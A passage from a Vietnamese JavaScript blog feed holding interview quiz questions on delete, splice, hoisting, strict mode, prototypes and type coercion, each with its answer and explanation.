data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">{</span> <span class="token literal-property property">bar</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">baz</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Thuộc tính <em>bar</em> không chỉ rõ giá trị của <em>enumerable</em> nên nó sẽ lấy giá trị mặc định là <em>false</em>. Do đó, thuộc tính <em>bar</em> cũng sẽ không được sao chép thông qua <em>Object.assign</em>.</p> <p>Còn lại thuộc tính <em>baz</em>, giá trị <em>enumerable</em> của nó là true. Nên thuộc tính này sẽ được sao chép thông qua <em>Object.assign</em>.</p> <p>Vì vậy, đối tượng b chỉ có 1 thuộc tính là <em>baz</em> và kết quả thu được là <em>{baz: 3}</em>.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 6 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 5]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 5, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-5/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-5/<![CDATA[IIFE]]><![CDATA[Strict Mode]]><![CDATA[Quiz]]>Thu, 07 Jun 2018 12:00:14 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 5</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-5---câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-5---c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 5 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 5 - Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"hi"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 4</p> <p><strong>Giải thích:</strong></p> <p>Toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a> gỡ bỏ một thuộc tính của Object, kể cả đó là một Array.</p> <p>Trong câu hỏi này, Array <em>arr</em> có 4 thuộc tính là: <em>0</em>, <em>1</em>, <em>2</em>, <em>3</em>. Khi <strong>delete arr[1]</strong> thì thuộc tính <em>1</em> bị xoá, nghĩa là <strong>arr[1] = undefined</strong>. Và <em>arr</em> còn lại 3 thuộc tính <em>0</em>, <em>2</em>, <em>3</em>.</p> <p>Tuy nhiên, xét trên khía cạnh của Array thì mảng arr vẫn có độ dài là 4.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (4)[1, empty, {…}, Array(2)]</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-5---câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-5---c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 5 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 5 - Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"hi"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">"hi"</span><span class="token punctuation">)</span> arr<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1</span> <span class="token comment">// [3, 4]</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Khác với <strong>delete</strong>, phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">splice</a> không những cho phép xoá bỏ phần tử của mảng mà còn làm thay đổi số phần tử của mảng.</p> <p>Vì vậy, vòng lặp trên sẽ hoạt động như sau:</p> <ul> <li>(i = 0, arr.length = 4, arr[i] = 1) => (arr[i] === "hi") trả về <strong>false</strong> => console.log(arr[i]) thực hiện => log: 1</li> <li>(i = 1, arr.length = 4, arr[i] = "hi") => (arr[i] === "hi") trả về <strong>true</strong> => arr.splice(i, 1) thực hiện => arr = [1, {x : 2}, [3, 4]] (không có log được ghi)</li> <li>(i = 2, arr.length = 3, arr[2] = [3, 4]) => (arr[i] === "hi") trả về <strong>false</strong> => console.log(arr[i]) thực hiện => log: [3, 4]</li> <li>(i = 3, arr.length = 3) không thoả mãn điều kiện i &#x3C; arr.length nên vòng lặp dừng lại</li> </ul> <p>Do đó, mình thu được kết quả như trên.</p> <p><strong>Mở rộng:</strong></p> <p>Như bạn thấy, phần tử <strong>{x : 2}</strong> đã không được in ra. Nếu mình muốn phần tử này được in ra thì phải làm sao?</p> <p>Đơn giản là bạn chỉ cần duyệt mảng theo thứ tự ngược lại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"hi"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> arr<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">"hi"</span><span class="token punctuation">)</span> arr<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * [3, 4] * {x : 2} * 1 */</span></code></pre></div> <p>Nếu muốn biết lý do tại sao thì bạn cứ phân tích như trên là sẽ hiểu.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-5---câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-5---c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 5 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 5 - Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">var</span> z <span class="token operator">=</span> y <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token keyword">var</span> y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 1 2 NaN</p> <p><strong>Giải thích:</strong></p> <p>Nếu bạn sử dụng <strong>var</strong> để khai báo biến thì biến số đó sẽ được <a href="https://developer.mozilla.org/en-US/docs/Glossary/Hoisting">hoisted</a>. Do đó, đoạn code phía trên sẽ tương đương với:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">;</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> z <span class="token operator">=</span> y <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">;</span> y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau câu lệnh đầu tiên, giá trị của x, y, z đều là <strong>undefined</strong>. Vì vậy, sau 3 phép toán tiếp theo, giá trị của chúng là:</p> <ul> <li>x = 1</li> <li>z = y + 3 = undefined + 3 = NaN</li> <li>y = 2</li> </ul> <p>Ngược lại, nếu bạn thay var bằng let thì bạn sẽ nhận được lỗi: <strong>ReferenceError: y is not defined</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> z <span class="token operator">=</span> y <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ReferenceError: y is not defined</span></code></pre></div> <p><em>Xem thêm: <a href="/phan-biet-var-va-let-trong-javascript/">Phân biệt var và let trong JavaScript</a></em></p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-5---câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-5---c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 5 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 5 - Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> undefined</p> <p><strong>Giải thích:</strong></p> <p>Vì trong <a href="/mot-so-loi-khi-su-dung-strict-mode-javascript/">chế độ strict mode</a>, <strong>this</strong> sẽ không được bind với đối tượng <strong>window</strong>.</p> <p><em>Xem thêm bài viết sau để hiểu thêm về chế độ strict mode: <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Strict_mode">Strict mode – JavaScript | MDN</a>.</em></p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-5---câu-5" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-5---c%C3%A2u-5" aria-label="xoắn não với phỏng vấn javascript 5 câu 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 5 - Câu 5</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Foo</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>bar <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Foo</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>bar <span class="token operator">=</span> <span class="token number">42</span><span class="token punctuation">;</span> <span class="token keyword">var</span> foo <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Foo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">,</span> foo<span class="token punctuation">.</span>bar<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> foo<span class="token punctuation">.</span>bar<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"2"</span><span class="token punctuation">,</span> foo<span class="token punctuation">.</span>bar<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1 10</span> <span class="token comment">// 2 42</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Khi truy cập đến một thuộc tính nào đó của object, JavaScript sẽ tìm trực tiếp trong Object đó đầu tiên.</p> <p>Nếu không tìm thấy thì JavaScript sẽ tìm kiếm tiếp đến prototype của Object.</p> <p>Nếu vẫn không tìm thấy thì sẽ chuyển đến prototype của thằng cha nó cho đến khi tìm thấy, hoặc không còn prototype nào nữa thì thôi.</p> <p>Ban đầu, đối tượng <em>foo</em> chứa thuộc tính <em>bar</em> của chính nó, và cả trong prototype của nó nữa. Khi đó, thuộc tính của chính nó sẽ được ưu tiên, nên <em>foo.bar</em> có kết quả là 10.</p> <p>Nhưng sau khi <strong>delete foo.bar</strong>, đối tượng <em>foo</em> không còn thuộc tính <em>bar</em> nữa. Nhưng may thay, trong prototype của <strong>foo</strong> vẫn có <em>bar</em> nên kết quả <em>foo.bar</em> lúc này là 42.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-5---câu-6" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-5---c%C3%A2u-6" aria-label="xoắn não với phỏng vấn javascript 5 câu 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 5 - Câu 6</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token keyword">delete</span> x<span class="token punctuation">,</span> <span class="token keyword">delete</span> y<span class="token punctuation">,</span> <span class="token keyword">delete</span> z<span class="token punctuation">;</span> <span class="token keyword">return</span> x <span class="token operator">+</span> y <span class="token operator">+</span> z<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> 12,3[object Object]</p> <p><strong>Giải thích:</strong></p> <ul> <li>Toán tử <strong>delete</strong> chỉ xoá bỏ thuộc tính của object mà không có tác dụng đối với biến số thông thường. Vì vậy, 3 câu lệnh <strong>delete</strong> trên là vô tác dụng.</li> <li>Câu hỏi trên sử dụng <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE (Immediately Invoked Function Expression)</a>, nên giá trị của x, y, z lần lượt là 1, [2, 3], {x: 4}. Khi cộng 3 giá trị này lại với nhau, thự tự phép tính là từ trái sang phải. Trước tiên, <strong>1 + [2, 3] = "12,3"</strong> do [2, 3] được chuyển đổi sang string thành <strong>"2, 3"</strong>. Tiếp theo, <strong>"12,3" + {x: 4} = "12,3[object Object]"</strong>, do mọi object khi convert sang string thì đều trở thành <strong>"[object Object]"</strong>.</li> </ul> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 6 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/xoan-nao-voi-phong-van-javascript-6/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 4]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 4, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-4/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-4/<![CDATA[JSON]]><![CDATA[Quiz]]>Thu, 31 May 2018 12:00:59 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 4</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-4--câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-4--c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 4 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 4 – Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">objCustom</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">arrCustom</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token 